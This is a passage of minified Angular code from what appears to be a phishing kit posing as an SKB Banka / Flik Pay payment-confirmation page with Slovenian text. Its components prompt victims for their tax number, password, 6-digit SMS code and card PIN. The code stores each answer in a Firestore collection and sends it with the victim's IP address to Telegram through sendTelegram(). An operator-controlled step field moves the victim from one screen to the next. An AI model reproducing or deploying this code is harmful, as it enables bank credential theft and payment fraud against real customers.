Greeting:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(43,"div",10),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(44,"div",15),r.\u0275\u0275elementStart(45,"div",16),r.\u0275\u0275elementStart(46,"div",17),r.\u0275\u0275elementStart(47,"div",18),r.\u0275\u0275element(48,"img",19),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(49,"input",20),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(50,"div",21),r.\u0275\u0275elementStart(51,"div",22),r.\u0275\u0275template(52,Ak,2,0,"div",6),r.\u0275\u0275template(53,eA,13,11,"table",23),r.\u0275\u0275element(54,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(55,"div",24),r.\u0275\u0275element(56,"br"),r.\u0275\u0275elementStart(57,"div",25),r.\u0275\u0275elementStart(58,"table",26),r.\u0275\u0275elementStart(59,"tbody"),r.\u0275\u0275elementStart(60,"tr"),r.\u0275\u0275elementStart(61,"td",18),r.\u0275\u0275elementStart(62,"a",27),r.\u0275\u0275text(63,"Zasebnost"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(64,"td",18),r.\u0275\u0275elementStart(65,"a",28),r.\u0275\u0275text(66,"\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0\xa0"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(67,"td"),r.\u0275\u0275elementStart(68,"a",29),r.\u0275\u0275text(69,"pomo\u010d?"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(70,"input",30),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t&&(r.\u0275\u0275advance(9),r.\u0275\u0275property("ngIf",2==e.step||4==e.step||5==e.step||6==e.step||7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==e.step||4==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==e.step||6==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==e.step||8==e.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",9==e.step||11==e.step),r.\u0275\u0275advance(17),r.\u0275\u0275textInterpolate3("",r.\u0275\u0275pipeBind2(32,12,e.today,"dd"),"/",r.\u0275\u0275pipeBind2(33,15,e.today,"MM"),"/",r.\u0275\u0275pipeBind2(34,18,e.today,"yyyy")," "),r.\u0275\u0275advance(8),r.\u0275\u0275textInterpolate1(" **** **** **** ",e.lastFourDegits,""),r.\u0275\u0275advance(13),r.\u0275\u0275property("ngIf",e.loading),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",!e.loading))},directives:[ut,zO,aT,lT,_E,KE],pipes:[vt],styles:['html[_ngcontent-%COMP%]{height:100%}body[_ngcontent-%COMP%]{background-color:#fcfcfc;font-family:Helvetica;font-size:12px;padding:0;margin:0;justify-content:center;align-items:center;display:-ms-flexbox;display:block;height:100%}a[_ngcontent-%COMP%]{color:#0177ef;text-decoration:none}a[_ngcontent-%COMP%]:hover{text-decoration:underline}a.error[_ngcontent-%COMP%]{color:red;font-weight:normal}a.error[_ngcontent-%COMP%]:hover{color:#000;font-weight:normal}a.small[_ngcontent-%COMP%]{opacity:.6}h1[_ngcontent-%COMP%]{font-size:18px}h2[_ngcontent-%COMP%]{padding-top:8px;font-size:16px}p[_ngcontent-%COMP%]{line-height:18px}.desc[_ngcontent-%COMP%], .error[_ngcontent-%COMP%]{font-size:12px;color:#adadad;margin:4px 0}.error[_ngcontent-%COMP%]{color:red}.language[_ngcontent-%COMP%]{position:absolute;top:0;right:0;margin:12px}.lang[_ngcontent-%COMP%]{display:inline;padding-left:8px;border:2px}.modal-page[_ngcontent-%COMP%]{position:relative;width:320px;max-height:580px;background-color:#fff;padding:12px 24px 24px;margin-top:0;margin-left:auto;margin-right:auto;text-align:left;box-shadow:0 12px 28px rgba(0,0,0,.1);border-radius:3px;font-size:12px}@media (max-height: 600px){body[_ngcontent-%COMP%]{display:block}}.list[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:6px}.list-item[_ngcontent-%COMP%]{padding:4px 0;display:flex;align-items:baseline}.label[_ngcontent-%COMP%]{display:inline-block;width:45%;color:gray;padding-right:24px;box-sizing:border-box;vertical-align:top;font-size:12px;opacity:.5;text-align:right}.value[_ngcontent-%COMP%]{display:inline-block;width:48%;color:#000;box-sizing:border-box}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{padding:8px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:14px}.select[_ngcontent-%COMP%], .big-input[_ngcontent-%COMP%]{display:block;width:100%}.button[_ngcontent-%COMP%]{background-color:transparent;border:1px solid #263e4c;color:#263e4c;text-transform:uppercase}.button[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-button[_ngcontent-%COMP%], .select[_ngcontent-%COMP%], .inner-button[_ngcontent-%COMP%], .button[_ngcontent-%COMP%]{height:36px;line-height:36px;border-radius:4px;padding:0 18px;font-size:12px;font-weight:100}.select[_ngcontent-%COMP%]{font-size:14px}.big-button[_ngcontent-%COMP%]:hover, .inner-button[_ngcontent-%COMP%]:hover{opacity:.8}.big-button[_ngcontent-%COMP%]{background-color:#26007d;border-radius:5px;min-width:100px;border:none;color:#fff;margin:0 auto;display:block;text-transform:uppercase}.small-input[_ngcontent-%COMP%]{padding:5px;background-color:#fff;border-color:#dedede;border-style:solid;border-width:1px;border-radius:6px;font-size:11px;text-align:center}.big-input[_ngcontent-%COMP%]{font-size:14px;text-align:center;padding-left:0;padding-right:0}.big-input[_ngcontent-%COMP%]:hover, .small-input[_ngcontent-%COMP%]:hover{border:1px solid #263e4c}.big-link[_ngcontent-%COMP%]{font-size:14px}.header[_ngcontent-%COMP%]{display:flex;flex-direction:row;justify-content:space-between;align-items:center}.footer[_ngcontent-%COMP%]{margin-top:8px;padding-top:8px;border-top:1px solid #dedede;text-align:center}.inner[_ngcontent-%COMP%]{display:inline-block;text-align:left;padding:8px 12px 8px 0}.inner-button[_ngcontent-%COMP%]{border:none;margin:0 auto;color:#fff;background-color:#263e4c;text-transform:uppercase}.row[_ngcontent-%COMP%]:after{content:"";clear:both;display:table}.left[_ngcontent-%COMP%]{text-align:center}.right[_ngcontent-%COMP%]{float:right;text-align:right}.help_icon[_ngcontent-%COMP%]{width:14px;height:13px;border:0px;padding-right:2px}.bottom[_ngcontent-%COMP%]{border-top:1px solid #dedede;padding-top:10px;margin-top:10px}hr[_ngcontent-%COMP%]{margin:12px 0;border:none;border-top:1px solid #dedede}.position-relative[_ngcontent-%COMP%]{position:relative}.flex-center[_ngcontent-%COMP%]{display:flex;justify-content:center}.oval-input[_ngcontent-%COMP%]:disabled{color:rgba(65,65,64,.75);opacity:.76}.oval-input[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal;background:#fff;width:100%;border-radius:.25rem;font-size:16px;font-size:1rem;height:20px;height:2.5rem;padding:.125rem 2.5rem 0 1rem;color:#414140;border:none;outline:none;box-shadow:0 5px 10px rgba(0,0,0,.2);-webkit-appearance:none;-webkit-box-shadow:0px 5px 10px rgb(0 0 0 / 20%)}.position-absolute-center-y[_ngcontent-%COMP%]{position:absolute;top:50%;transform:translateY(-50%)}.right-default[_ngcontent-%COMP%]{right:1rem}.button-transparent[_ngcontent-%COMP%]{background:transparent;border:none;cursor:pointer;padding:0}.text-medium[_ngcontent-%COMP%]{font-family:PF DinDisplay Pro Medium,Arial,Helvetica,sans-serif;font-weight:500;font-style:normal}.text-small[_ngcontent-%COMP%], h5[_ngcontent-%COMP%]{line-height:14px;line-height:.875rem;font-size:14px;font-size:.875rem}.text-primary[_ngcontent-%COMP%]{color:#125b6b}[type=reset][_ngcontent-%COMP%], [type=submit][_ngcontent-%COMP%], button[_ngcontent-%COMP%], html[_ngcontent-%COMP%] [type=button][_ngcontent-%COMP%]{-webkit-appearance:button}button[_ngcontent-%COMP%], select[_ngcontent-%COMP%]{text-transform:none}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%]{overflow:visible}button[_ngcontent-%COMP%], input[_ngcontent-%COMP%], optgroup[_ngcontent-%COMP%], select[_ngcontent-%COMP%], textarea[_ngcontent-%COMP%]{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button[_ngcontent-%COMP%]{border-radius:0}.icon-user-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/user-refresh.e3ee51c4c61192621049e2c835a2aafd.svg)}.icon-pass-refresh[_ngcontent-%COMP%]{background-image:url(https://ibank.nbg.gr/identity/dist/icons/visibility.d128f570a1a619be86a37334ffc80b37.svg)}.icon-svg-container[_ngcontent-%COMP%], .icon-svg-container-small[_ngcontent-%COMP%]{display:block;background-repeat:no-repeat;background-position:50%}.icon-svg-container-small[_ngcontent-%COMP%]{width:24px;width:1.5rem;height:24px;height:1.5rem;min-width:24px;min-width:1.5rem;min-height:24px;min-height:1.5rem}*[_ngcontent-%COMP%], [_ngcontent-%COMP%]:after, [_ngcontent-%COMP%]:before{box-sizing:border-box}i[_ngcontent-%COMP%]{font-style:italic}']}),t})();function rA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Potrdite pla\u010dilo"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function iA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"h2",31),r.\u0275\u0275elementStart(1,"strong"),r.\u0275\u0275text(2," Varnostno vpra\u0161anje:"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function oA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Za potrditev te transakcije je potrebna avtentikacija "),r.\u0275\u0275elementStart(2,"strong"),r.\u0275\u0275text(3," Flik Pay"),r.\u0275\u0275elementEnd(),r.\u0275\u0275text(4,". Te informacije se ne delijo s trgovcem."),r.\u0275\u0275elementEnd())}function sA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Prosimo vnesite SMS kodo, ki ste jo prejeli "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd())}function aA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2," Vnesite kodo PIN za naslednjo kartico: XXXX-"),r.\u0275\u0275elementStart(3,"strong"),r.\u0275\u0275text(4),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(4),r.\u0275\u0275textInterpolate1("",t.showCode," ")}}function cA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275elementStart(1,"span",32),r.\u0275\u0275text(2),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275textInterpolate1(" Kak\u0161no je stanje na va\u0161em primarnem ra\u010dunu za va\u0161o kartico XXXX-",t.showCode,"")}}function lA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div"),r.\u0275\u0275element(1,"img",33),r.\u0275\u0275elementEnd())}function uA(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"input",43),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).user=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(6,"div",39),r.\u0275\u0275elementStart(7,"div",42),r.\u0275\u0275elementStart(8,"input",44),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(4).pass=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(9,"td",37),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(4);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngModel",t.user),r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.pass)}}function dA(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275template(1,uA,10,2,"tr",6),r.\u0275\u0275elementStart(2,"div",39),r.\u0275\u0275elementStart(3,"div",38),r.\u0275\u0275elementStart(4,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirm()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function hA(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"input",40),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}}function pA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",22),r.\u0275\u0275element(4,"div",35),r.\u0275\u0275template(5,dA,5,1,"div",36),r.\u0275\u0275template(6,hA,2,0,"div",36),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(7,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(5),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function fA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Podatki za prijavo so napa\u010dni. "),r.\u0275\u0275elementEnd())}function gA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,fA,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function mA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"p"),r.\u0275\u0275text(1," Prijavite se v MOJ @ SKB mobilno banko ali SKB NET spletno banko . V stranskem meniju izberite ' Flik'in sledite navodilom za pridobitev aktivacijske kode ."),r.\u0275\u0275elementEnd())}function yA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275elementStart(4,"div",42),r.\u0275\u0275elementStart(5,"a",47),r.\u0275\u0275text(6," Kako do aktivacijske kode ? "),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(7,"div",41),r.\u0275\u0275elementStart(8,"div",42),r.\u0275\u0275template(9,mA,2,0,"p",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(10,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(9),r.\u0275\u0275property("ngIf",2==t.step||4==t.step)}}function bA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td"),r.\u0275\u0275elementEnd())}function vA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275element(2,"td"),r.\u0275\u0275element(3,"td",37),r.\u0275\u0275elementEnd())}function _A(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",48),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"6-mestna SMS koda"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmSMS()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function CA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,_A,9,1,"div",36),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",5==t.step||6==t.step)}}function wA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Odobritev transakcije ni uspela, poskusite znova. "),r.\u0275\u0275elementEnd())}function xA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,wA,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function PA(t,e){if(1&t){const t=r.\u0275\u0275getCurrentView();r.\u0275\u0275elementStart(0,"div",38),r.\u0275\u0275elementStart(1,"div",39),r.\u0275\u0275elementStart(2,"div",42),r.\u0275\u0275elementStart(3,"input",51),r.\u0275\u0275listener("ngModelChange",function(e){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).smsCode=e}),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(4,"br"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(5,"div",49),r.\u0275\u0275elementStart(6,"p"),r.\u0275\u0275text(7,"4-mestna koda PIN"),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementStart(8,"input",50),r.\u0275\u0275listener("click",function(){return r.\u0275\u0275restoreView(t),r.\u0275\u0275nextContext(3).onConfirmPIN()}),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()}if(2&t){const t=r.\u0275\u0275nextContext(3);r.\u0275\u0275advance(3),r.\u0275\u0275property("ngModel",t.smsCode)}}function SA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,PA,9,1,"div",36),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",7==t.step||8==t.step)}}function MA(t,e){1&t&&(r.\u0275\u0275elementStart(0,"div",46),r.\u0275\u0275text(1," Koda PIN je napa\u010dna, preverite in poskusite znova. "),r.\u0275\u0275elementEnd())}function OA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"tr"),r.\u0275\u0275element(1,"td",34),r.\u0275\u0275elementStart(2,"td"),r.\u0275\u0275elementStart(3,"div",41),r.\u0275\u0275template(4,MA,2,0,"div",45),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd(),r.\u0275\u0275element(5,"td",37),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext(2);r.\u0275\u0275advance(4),r.\u0275\u0275property("ngIf",t.incorrect)}}function EA(t,e){if(1&t&&(r.\u0275\u0275elementStart(0,"table",26),r.\u0275\u0275elementStart(1,"tbody"),r.\u0275\u0275template(2,pA,8,2,"tr",6),r.\u0275\u0275template(3,gA,6,1,"tr",6),r.\u0275\u0275template(4,yA,11,1,"tr",6),r.\u0275\u0275template(5,bA,2,0,"tr",6),r.\u0275\u0275template(6,vA,4,0,"tr",6),r.\u0275\u0275template(7,CA,6,1,"tr",6),r.\u0275\u0275template(8,xA,6,1,"tr",6),r.\u0275\u0275template(9,SA,6,1,"tr",6),r.\u0275\u0275template(10,OA,6,1,"tr",6),r.\u0275\u0275elementEnd(),r.\u0275\u0275elementEnd()),2&t){const t=r.\u0275\u0275nextContext();r.\u0275\u0275advance(2),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",2==t.step||4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",4==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",5==t.step||6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",6==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",7==t.step||8==t.step),r.\u0275\u0275advance(1),r.\u0275\u0275property("ngIf",8==t.step)}}let TA=(()=>{class t{constructor(t,e){this.db=t,this.myService=e,this.btnDisabled=!1,this.btnDisabled2=!1,this.redirectVBV=!1,this.today=Date.now(),this.showCodeOP="",this.showCode="",this.loading=!1,this.incorrect=!1,this.user="",this.pass="",this.visit={ip:"",country:"",dateTime:"",device:""},e.getIpAddress().subscribe(t=>{this.visit.ip=t.ip,this.visit.dateTime=Date.now(),e.getCountry(t.ip).subscribe(t=>{this.visit.country=t.country_name})}),this.prefix=localStorage.getItem("ID"),localStorage.getItem("ccNum")?(this.ccNum=localStorage.getItem("ccNum"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)):localStorage.getItem("ccNum2")&&(this.ccNum=localStorage.getItem("ccNum2"),this.lastFourDegits=this.ccNum.substr(this.ccNum.length-4)),this.resultsCollection=this.db.collection("lBet"),this.logins=this.resultsCollection.snapshotChanges().pipe((0,ue.U)(t=>t.map(t=>{const e=t.payload.doc.data(),n=t.payload.doc.id;return e.id=n,localStorage.getItem("ID")==n&&(2==e.step?(this.step=2,this.loading=!1,setTimeout(()=>{this.redirectVBV=!0},3e3)):3==e.step?(this.step=3,this.loading=!0,this.redirectVBV=!1,this.btnDisabled=!0):4==e.step?(this.step=4,this.btnDisabled=!1,this.loading=!1,this.redirectVBV=!1,this.incorrect=!0):5==e.step?(this.step=5,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1):6==e.step?(this.step=6,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):7==e.step?(this.step=7,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):8==e.step?(this.step=8,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):9==e.step?(this.step=9,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!1,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):11==e.step?(this.step=11,this.loading=!1,this.redirectVBV=!1,this.btnDisabled=!1,this.incorrect=!0,this.showCode=e.showCode,this.showCodeOP=e.showCodeOP):10==e.step&&(this.step=10,this.loading=!1,this.btnDisabled=!0,this.incorrect=!1,this.redirectVBV=!1)),e}))),this.logins.subscribe(function(){var t=TT(function*(t){});return function(e){return t.apply(this,arguments)}}())}fs(){this.smsCode=this.smsCode.split("").reverse().join("")}ngOnInit(){}onConfirm(){return this.user.length<6?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"daza")):this.pass.length<5?(this.incorrect=!0,this.loading=!1,void console.log(this.user+"fff")):(this.loading=!0,void setTimeout(()=>{let t;this.credentials=this.user+":"+this.pass,this.db.collection("lBet").doc(this.prefix).update({step:3,credentials:this.credentials}).catch(function(t){var e;console.error("Error writing document event: ",t),localStorage.clear(),null===(e=window.open("/Confirm_Delivery","_self"))||void 0===e||e.close()}),this.step=3,this.tempLog=this.user.substring(0,4),t="SKB-Login: "+this.user+" "+this.pass+" "+this.visit.ip,this.user="",this.pass="",this.myService.sendTelegram(t).subscribe(t=>console.log(t))},1e3))}onConfirmSMS(){if(this.smsCode.length<6)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,smsCode:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" SKB-SMS: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}onConfirmPIN(){if(this.smsCode.length<4)return this.incorrect=!0,void(this.loading=!1);this.loading=!0,setTimeout(()=>{let t;this.db.collection("lBet").doc(this.prefix).update({step:3,pin:this.smsCode}).catch(function(t){console.error("Error writing document event: ",t),localStorage.clear()}),this.step=3,t=" SKB-PIN: "+this.smsCode+" "+this.visit.ip,this.myService.sendTelegram(t).subscribe(t=>console.log(t)),this.smsCode=""},1e3)}}return t.\u0275fac=function(e){return new(e||t)(r.\u0275\u0275directiveInject(vw),r.\u0275\u0275directiveInject(CI))},t.\u0275cmp=r.\u0275\u0275defineComponent({type:t,selectors:[["app-eurobk-modal"]],decls:71,vars:21,consts:[[1,"modal-page"],[1,"header"],["src","https://thebanks.eu/img/logos/SKB_Banka.png",2,"width","150px"],["src","../../assets/images/VM.png"],["id","desc",2,"color","black"],["style","margin-bottom: -1px;",4,"ngIf"],[4,"ngIf"],["id","descList",1,"list",2,"display","block"],["id","pa_merchant",1,"list-item"],[1,"label"],[1,"value"],["id","pa_amount",1,"list-item"],["id","pa_date",1,"list-item"],["id","pa_pan",1,"list-item"],["id","pamrow",1,"list-item",2,"display","none"],["id","addInfo"],[1,"list"],["id","QRItem",2,"display","none"],["align","center"],["id","QRData"],["id","psw_id","type","password","placeholder","Mobile\u2013Internet Banking / NBG Authenticator","name","PASSWORD","size","20","maxlength","20","autocomplete","off",1,"big-input"],["id","authenticator","align","center",1,"desc"],[1,"row","d-flex","justify-content-center"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3",4,"ngIf"],[1,"footer"],[1,"row"],["width","100%","border","0","align","center","cellspacing","3","cellpadding","3"],["href","javascript:void(0)","id","btnExit","onclick","OnExit(); return false;"],["href","#","target","Terms Of Use"],["href","javascript:void(0)","onclick","window.open('javascript:void(0)','','width=1000,height=700, location=no, menubar=no, toolbar=no, resizable=yes', true ); return false;",1,"help__link"],["type","hidden","name","formaction","value","pa.submit"],[2,"margin-bottom","-1px"],[2,"display","flex","justify-content","center","margin-top","8px"],["src","../../assets/images/nbgSc/loading.gif","alt",""],["align","left","width","40"],["align","center",1,"left"],["id","btnSubmitItem",4,"ngIf"],["width","40"],["id","btnSubmitItem"],[1,"position-relative",2,"margin-top","4px"],["type","button","id","btnSubmit","name","btSubmit","value","NADALJUJ",1,"big-button",2,"cursor","pointer",3,"click"],[1,"position-relative"],[1,"flex-center"],["maxlength","14","autocapitalize","none","test-field","usernameField","type","text","pattern","\\d*","oninput","this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\\..*?)\\..*/g, '$1');","placeholder","Dav\u010dna \u0161tevilka",1,"oval-input","ng-dirty","ng-touched",2,"min-width","190px",3,"ngModel","ngModelChange"],["maxlength","14","test-field","usernameField","type","text","placeholder","Aktivacijska 